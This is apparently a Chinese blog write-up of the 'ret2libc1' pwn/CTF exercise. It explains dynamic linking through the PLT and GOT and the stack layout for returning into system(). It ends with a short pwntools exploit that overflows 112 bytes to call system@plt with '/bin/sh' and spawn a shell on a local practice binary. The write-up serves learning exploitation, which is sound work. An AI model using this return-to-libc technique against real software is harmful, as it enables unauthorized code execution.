【PWN · ret2libc】ret2libc1

ret2libc的第一题

目录

前言

一、动态链接

二、ret2libc原理

三、exp编写

干货 

干货一:python下的ELF 

干货二:strings看看有没有待选字符串

编写exp

总结 


前言

本来是和学习ret2text\ret2shellcode\ret2syscall一样在网上找文字资源,读博客,however~~

机缘巧合我又一次打开了大一曾经浏览过的bilibili上的PWN入门教程,然后发现大一看来晦涩难懂的东西,在浅浅学了几门专业课后(事实上正在学),发现竟比较“简单”能理解;大一看来gdb用的天花乱坠很难得样子,现在看来也无非是start/run/b main/next/continue/q/pattern create xx等等调试指令。

所以就跟着张剑威老师一起学。比较其他课程,每一节课程都3h,真的很细!!!对新手其实真的很友好!!(有一点点汇编知识即可)强推!!

其他b站大学的课程还没看,但是目前还是萌新,打基础的话,还是3h的课程比较爽捏(开插件2.4倍速看,贼爽)


一、动态链接

这里还是简单复述一下原理。更加详细的可以去看视频(太详细了而且易懂)。

我们都知道,ret2syscall一般适用场合是静态链接。和动态链接不同的是,在一开始编译一个c语言程序,就将所有的库函数都打包到最终的elf可执行文件中。而动态链接编译后的文件,很明显大小小于静态链接后的文件,是因为有大量的调用库函数,都只是在程序中做了标识,而没有一股脑儿把所有的函数体囊括进来。

这张图很好地说明了动态链接下程序执行的过程。

我们主要需要知道的是:

        当函数运行到调用库函数时,程序将访问对应函数的plt表项,plt表项存着代码,代码分为两部分:        

        第一部分,跳转到对应的got表。

        第二部分,查找函数的真实地址,修改got表内容。

        got表项存着一个地址。然而这个地址并不一开始就是libc中函数的真实地址。

        一开始,got表项中地址指向plt代码的第二部分。

        后来,因运行plt第二部分代码段,got表内容被修改为真实函数地址。

依据以上,我们可以直到动态链接下,程序的特点:

        第一次访问函数时,寻找到函数的真实地址,然后调用;第二次访问时,直接通过函数的真实地址进行调用。

因为程序运行实则把控制流交给了libc中的代码,因此动态链接下的可执行文件,成功进行了瘦身——需要的东西,找别人借,无需自己拥有。 

二、ret2libc原理

我们在ret2syscall,可以通过静态链接所囊括大量库函数因而存在的大量gadget,组成我们想要的后门函数。而动态链接下的文件,其中没有库函数的函数体,而只有函数的标志信息。那么我们怎么进行栈溢出攻击呢?

首先前提肯定的,我们可以通过一个危险函数,劫持函数控制流。然而给我们这个地址,我们该怎么做呢?填什么地址呢?

以本题为例,本题中通过IDA可以找到一段system()函数,这段函数放在一个几乎不可能被执行的语句内,那么就没有用了吗?——不是的

system()在函数中出现(尽管几乎不会被执行),就意味着plt中有它的表项!!

而我们之前说过了,虽然没有囊括system的函数体,我们可以返回到system@plt的指令段,然后借此跳转到got表项指向的地址,即函数地址,实现对system函数的调用。 

所以我们溢出时,将控制流劫持到system@plt指令段,就相当于调用了system函数。而我们继续要做的是,继续溢出,在栈上填充我们需要的信息,具体来说是system的参数。

大致如图所示 。那么怎么是这样排布的呢?具体我们接下来看。

我们知道,函数嵌套,会在栈上开辟新的栈帧,而被调函数(callee)的参数放在哪里呢?主调函数(caller)和被调函数的栈帧是怎么样的呢?

上面大致画了一下主调被调函数栈帧的关系,值得说明的是,中间三个栈空间画的比栈小仅仅是为了说明这三个栈空间的“归属”问题:arguments和ret_addr由caller保存,prev_ebp由callee保存。 

因此,我们发现,假设callee是system函数,那么它寻找其参数,就要向栈底偏两个栈空间(越过ret_addr和prev_ebp找到arguments)。那么理论上我们溢出构造的栈内容直观上应该是这样的:

然而实则不正确,应该是:

为什么呢?因为上上上张图已经故意说明了,prev_ebp是由callee进行保存的,许许多多的函数(包括system)在被调用时的第一句指令,总是push ebp,因此有一个我们只需要给出一个虚假的ret_addr就行了,callee会自动往栈上压入ebp。

这里不得不提一个情况(实则很少见)那就是main和system中间还有一个函数的调用,这样不就打破栈的平衡了吗?强推b栈视频,老师在面对这个学生突然提出的问题时,解答十分精彩,给出了通用的溢出结构!

无论中间夹杂多少个函数,在shellcode中添加pop_ret即可完美衔接,具体看视频叭! 

好了,开始上手!而且老师也给出很多做题干货,例如,接下来,我将不用IDA,而是分享几个实用的姿势。

三、exp编写

首先提炼一下我们要做的事情:、

  • system函数地址,确切说是system@plt的地址
  • "/bin/sh"地址,补充一下,这种字符串,都是程序力单独开辟空间存储的,作为参数实则是字符串地址;如果程序中没有,那就要用其他高级手法,but我还是萌新,不会。
  • 老生常谈的偏移量

干货 

干货一:python下的ELF 

>>>python3
>>>from pwn import *
>>>io=process("./file_name")
>>>elf=ELF("./file_name")
>>>system_plt=elf.plt["system"]
>>>system_plt
134513760
>>>...

不用checksec也能知道其信息,经过这些操作找到system@plt的地址了。任务一完成。

解释一下,next()是因为python3相对于python2有所改动(返回值的类型),b"/bin/sh"是指在字节中类型的字符串,因为是在二进制文件中找是都是字节嘛。

找到/bin/sh的地址,任务二完成。

上述几个实际上都可以在IDA中完成,但是能用键盘,为什么要用鼠标呢? 既不用checksec,而且可以快速找到字符串、找到plt地址,也可以找到got表项的地址信息。

干货二:strings看看有没有待选字符串

strings file_name | grep /bin/sh  #查看file_name文件中是否存在字符串 "/bin/sh"

如果下一行打印出了该字符串,说明存在该字符串。

编写exp

直接附上exp,关于offset,简单的用pattern就可以了,可以看这里

from pwn import *

io=process("./ret2libc1")

bin_sh=0x8048720
system_addr=0x8048460
offset=112
payload=b'a'*offset+p32(system_addr)+b'aaaa'+p32(bin_sh)

io.sendline(payload)

io.interactive()

 成功获取自己的shell。


总结

只能说,现在好喜欢看张剑威老师的课程(这样叫可能把他叫老了,他应该本科才刚毕业,确实牛,膜拜%%%%%),争当“刘勇”,加油!

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值